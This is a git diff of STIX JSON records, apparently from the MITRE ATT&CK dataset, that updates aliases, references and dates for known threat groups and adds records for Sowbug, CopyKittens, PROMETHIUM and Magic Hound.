+++ b/enterprise-attack/intrusion-set/intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9f4f5fdc-a1a3-4274-91cc-4981818dfa97",
+    "id": "bundle--c3197254-c146-4f22-a62b-3c46f82f7e26",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:49.412Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deep Panda",
             "description": "Deep Panda is a suspected Chinese threat group known to target many industries, including government, defense, financial, and telecommunications. (Citation: Alperovitch 2014) The intrusion into healthcare company Anthem has been attributed to Deep Panda. (Citation: ThreatConnect Anthem) This group is also known as Shell Crew, WebMasters, KungFu Kittens, and PinkPanther. (Citation: RSA Shell Crew) Deep Panda also appears to be known as Black Vine based on the attribution of both group names to the Anthem intrusion. (Citation: Symantec Black Vine)",
             "aliases": [
@@ -28,7 +28,7 @@
                 {
                     "source_name": "Alperovitch 2014",
                     "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.",
-                    "url": "http://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
+                    "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/"
                 },
                 {
                     "source_name": "ThreatConnect Anthem",
diff --git a/enterprise-attack/intrusion-set/intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31.json b/enterprise-attack/intrusion-set/intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31.json
index 012c980d25..47c12b3bd5 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d94a36ec-5402-4e68-a893-872ebd9570d9",
+    "id": "bundle--e9e59f72-34be-4830-99de-e0fa57c5bd6e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:03.306Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dust Storm",
             "description": "Dust Storm is a threat group that has targeted multiple industries in Japan, South Korea, the United States, Europe, and several Southeast Asian countries. (Citation: Cylance Dust Storm)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json b/enterprise-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
index 7454972d7b..993ffd8012 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d9d331a7-f67d-4e69-a8e0-d3965a777e50",
+    "id": "bundle--f70330c4-6cb7-4780-a9c1-778f7ee9ab64",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:48.664Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT28",
             "description": "APT28 is a threat group that has been attributed to the Russian government. (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28) January 2017 (Citation: GRIZZLY STEPPE JAR) This group reportedly compromised the Democratic National Committee in April 2016. (Citation: Crowdstrike DNC June 2016)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f.json b/enterprise-attack/intrusion-set/intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f.json
index d461580288..a5b5914a26 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--258fa2b9-f418-4475-92bf-2aee9bc2c6e5",
+    "id": "bundle--6d7c6c29-bd3b-4e23-ba18-e80b56d179a8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:10.206Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "RTM",
             "description": "RTM is a cybercriminal group that has been active since at least 2015 and is primarily interested in users of remote banking systems in Russia and neighboring countries. The group uses a Trojan by the same name (RTM). (Citation: ESET RTM Feb 2017)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json b/enterprise-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json
index e6e53e1ec6..0bfbdcf330 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5de6bdab-18f3-4f67-9619-5770228a0d6e",
+    "id": "bundle--b289782a-6893-4708-bf6b-5fc09f639f94",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,14 +8,15 @@
             "id": "intrusion-set--c47f937f-1022-4f42-8525-e7a4779a14cb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:47.537Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT12",
-            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda) It is also known as DynCalc, IXESHE, and Numbered Panda. (Citation: Moran 2014) (Citation: Meyers Numbered Panda)",
+            "description": "APT12 is a threat group that has been attributed to China. (Citation: Meyers Numbered Panda)",
             "aliases": [
                 "APT12",
                 "IXESHE",
                 "DynCalc",
-                "Numbered Panda"
+                "Numbered Panda",
+                "DNSCALC"
             ],
             "external_references": [
                 {
@@ -27,11 +28,6 @@
                     "source_name": "Meyers Numbered Panda",
                     "description": "Meyers, A. (2013, March 29). Whois Numbered Panda. Retrieved January 14, 2016.",
                     "url": "http://www.crowdstrike.com/blog/whois-numbered-panda/"
-                },
-                {
-                    "source_name": "Moran 2014",
-                    "description": "Moran, N., Oppenheim, M., Engle, S., & Wartell, R.. (2014, September 3). Darwin\u2019s Favorite APT Group &#91;Blog&#93;. Retrieved November 12, 2014.",
-                    "url": "https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7.json b/enterprise-attack/intrusion-set/intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7.json
index 9e8cd0934b..7a038b17f1 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6480d3e6-d9fa-4e50-88ed-c40d99009d91",
+    "id": "bundle--5c9676c4-b61f-41d0-847b-786c79678b9a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--c5574ca0-d5a4-490a-b207-e4658e5fd1d7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:00.677Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scarlet Mimic",
             "description": "Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, it has not been concluded that the groups are the same. (Citation: Scarlet Mimic Jan 2016)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff.json b/enterprise-attack/intrusion-set/intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff.json
index 1d25c22a4f..79994a7266 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ac961fd1-c61f-4136-837c-0730c28ef957",
+    "id": "bundle--7958ec8b-103e-48c3-8f44-a269d79ca435",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:08.682Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Winnti Group",
             "description": "Winnti Group is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting. Though both this group and Axiom use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)",
             "aliases": [
@@ -29,7 +29,7 @@
                 {
                     "source_name": "Kaspersky Winnti June 2015",
                     "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.",
-                    "url": "https://securelist.com/blog/incidents/70991/games-are-over/"
+                    "url": "https://securelist.com/games-are-over/70991/"
                 },
                 {
                     "source_name": "Novetta Winnti April 2015",
diff --git a/enterprise-attack/intrusion-set/intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a.json b/enterprise-attack/intrusion-set/intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a.json
index 5ef6505287..4fee86af5e 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--704cd59d-3b52-4001-b686-0c56cb6128ad",
+    "id": "bundle--5d7d4609-e0a8-446c-946f-3b0ff326d1a1",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,13 +8,15 @@
             "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:03.807Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lazarus Group",
             "description": "Lazarus Group is a threat group that has been attributed to the North Korean government. (Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by Lazarus Group correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster)",
             "aliases": [
                 "Lazarus Group",
                 "HIDDEN COBRA",
-                "Guardians of Peace"
+                "Guardians of Peace",
+                "ZINC",
+                "NICKEL ACADEMY"
             ],
             "external_references": [
                 {
diff --git a/enterprise-attack/intrusion-set/intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e.json b/enterprise-attack/intrusion-set/intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e.json
new file mode 100644
index 0000000000..6456083fd2
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--9574fcc1-5dc2-4b9e-af6d-39104c7ad5bd",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Sowbug",
+            "description": "is a threat group that has conducted targeted attacks against organizations in South America and Southeast Asia, particularly government entities, since at least 2015. (Citation: Symantec Sowbug Nov 2017)\n\nContributors: Alan Neville, @abnev",
+            "aliases": [
+                "Sowbug"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0054",
+                    "external_id": "G0054"
+                },
+                {
+                    "source_name": "Symantec Sowbug Nov 2017",
+                    "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.",
+                    "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Alan Neville, @abnev"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983.json b/enterprise-attack/intrusion-set/intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983.json
index 9360fc14bf..bd5612fad2 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--792ef939-0b88-48d5-baea-27a2d7828d82",
+    "id": "bundle--c5d1b78a-8740-4e5e-808c-8a1f9f06efc0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--d519164e-f5fa-4b8c-a1fb-cf0172ad0983",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:59.120Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Threat Group-1314",
             "description": "Threat Group-1314 is an unattributed threat group that has used compromised credentials to log into a victim's remote access infrastructure. (Citation: Dell TG-1314)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json b/enterprise-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json
index 2d84aa64db..0de12dac67 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a425f0df-f44f-4a1b-8d45-e8e17edd7006",
+    "id": "bundle--876ddd7e-acac-421f-ae3a-511923b600a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--d6e88e18-81e8-4709-82d8-973095da1e70",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:56.270Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT16",
             "description": "APT16 is a China-based threat group that has launched spearphishing campaigns targeting Japanese and Taiwanese organizations. (Citation: FireEye EPS Awakens Part 2)",
             "aliases": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a.json b/enterprise-attack/intrusion-set/intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a.json
new file mode 100644
index 0000000000..86bc22c48e
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a.json
@@ -0,0 +1,44 @@
+{
+    "type": "bundle",
+    "id": "bundle--732b49d9-a76b-4729-88f7-bcf1805f0434",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "CopyKittens",
+            "description": "CopyKittens is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)",
+            "aliases": [
+                "CopyKittens"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0052",
+                    "external_id": "G0052"
+                },
+                {
+                    "source_name": "ClearSky CopyKittens March 2017",
+                    "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/copykitten-jpost/"
+                },
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411.json b/enterprise-attack/intrusion-set/intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411.json
index 83cc03b509..74e7533c11 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9b0af8bc-27f1-4b4e-b026-94e6fd201ae8",
+    "id": "bundle--ce43055d-2e5b-47c7-b0e0-71b1f514edde",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,13 +8,13 @@
             "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:55.093Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Molerats",
             "description": "Molerats is a politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States. (Citation: DustySky) (Citation: DustySky)2",
             "aliases": [
                 "Molerats",
-                "Gaza cybergang",
-                "Operation Molerats"
+                "Operation Molerats",
+                "Gaza Cybergang"
             ],
             "external_references": [
                 {
diff --git a/enterprise-attack/intrusion-set/intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c.json b/enterprise-attack/intrusion-set/intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c.json
new file mode 100644
index 0000000000..3a6705f0c5
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c.json
@@ -0,0 +1,39 @@
+{
+    "type": "bundle",
+    "id": "bundle--255f9af3-e867-4cae-b46d-34e180208a44",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--efed95ba-d7e8-47ff-8c53-99c42426ee7c",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "PROMETHIUM",
+            "description": "is an activity group that has been active since at least 2012. The group conducted a campaign in May 2016 and has heavily targeted Turkish victims.  has demonstrated similarity to another activity group called NEODYMIUM due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)",
+            "aliases": [
+                "PROMETHIUM"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0056",
+                    "external_id": "G0056"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/intrusion-set/intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd.json b/enterprise-attack/intrusion-set/intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd.json
index 0ba380fa95..fd2767b888 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--837db60a-550c-4600-a399-331a9726e310",
+    "id": "bundle--55eee877-4f1b-4e1d-8f0a-46ee27dd124f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:51.026Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "APT30",
             "description": "APT30 is a threat group suspected to be associated with the Chinese government. (Citation: FireEye APT30) While Naikon shares some characteristics with APT30, the two groups do not appear to be exact matches. (Citation: Baumgartner Golovkin Naikon 2015)",
             "aliases": [
@@ -28,7 +28,7 @@
                 {
                     "source_name": "Baumgartner Golovkin Naikon 2015",
                     "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.",
-                    "url": "https://securelist.com/analysis/publications/69953/the-naikon-apt/"
+                    "url": "https://securelist.com/the-naikon-apt/69953/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/intrusion-set/intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a.json b/enterprise-attack/intrusion-set/intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a.json
index bd6c4fdb2e..89b9033e3f 100644
--- a/enterprise-attack/intrusion-set/intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a.json
+++ b/enterprise-attack/intrusion-set/intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--97286b8d-0276-4477-abb3-4c9c9322153e",
+    "id": "bundle--5b35f4f5-5d8f-4fd2-9636-e6565649e6ee",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "intrusion-set--f3bdec95-3d62-42d9-a840-29630f6cdc1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:53.197Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DragonOK",
-            "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee.  (Citation: Operation Quantum Entanglement) (Citation: Symbiotic APT Groups) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.  (Citation: New DragonOK)",
+            "description": "DragonOK is a threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. (Citation: Operation Quantum Entanglement) It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT. (Citation: New DragonOK)",
             "aliases": [
                 "DragonOK"
             ],
@@ -25,11 +25,6 @@
                     "description": "Haq, T., Moran, N., Vashisht, S., Scott, M. (2014, September). OPERATION QUANTUM ENTANGLEMENT. Retrieved November 4, 2015.",
                     "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf"
                 },
-                {
-                    "source_name": "Symbiotic APT Groups",
-                    "description": "Haq, T. (2014, October). An Insight into Symbiotic APT Groups. Retrieved November 4, 2015.",
-                    "url": "https://dl.mandiant.com/EE/library/MIRcon2014/MIRcon%202014%20R&D%20Track%20Insight%20into%20Symbiotic%20APT.pdf"
-                },
                 {
                     "source_name": "New DragonOK",
                     "description": "Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015.",
diff --git a/enterprise-attack/intrusion-set/intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13.json b/enterprise-attack/intrusion-set/intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13.json
new file mode 100644
index 0000000000..13cf489e5a
--- /dev/null
+++ b/enterprise-attack/intrusion-set/intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13.json
@@ -0,0 +1,43 @@
+{
+    "type": "bundle",
+    "id": "bundle--90fa8dc3-fb52-40f4-b56d-1cb513175e7d",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "intrusion-set",
+            "id": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Magic Hound",
+            "description": "Magic Hound is an espionage campaign operating primarily in the Middle East that dates back to at least mid-2016. The group behind the campaign has primarily targeted organizations in the energy, government, and technology sectors that are either based or have business interests in Saudi Arabia. (Citation: Unit 42 Magic Hound Feb 2017)\n\nContributors: Bryan Lee",
+            "aliases": [
+                "Magic Hound",
+                "Rocket Kitten",
+                "Operation Saffron Rose",
+                "Ajax Security Team",
+                "Operation Woolen-Goldfish",
+                "Newscaster",
+                "Cobalt Gypsy"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Group/G0059",
+                    "external_id": "G0059"
+                },
+                {
+                    "source_name": "Unit 42 Magic Hound Feb 2017",
+                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Bryan Lee"
+            ]
+        }
+    ]
+}
\ No newline at end of file
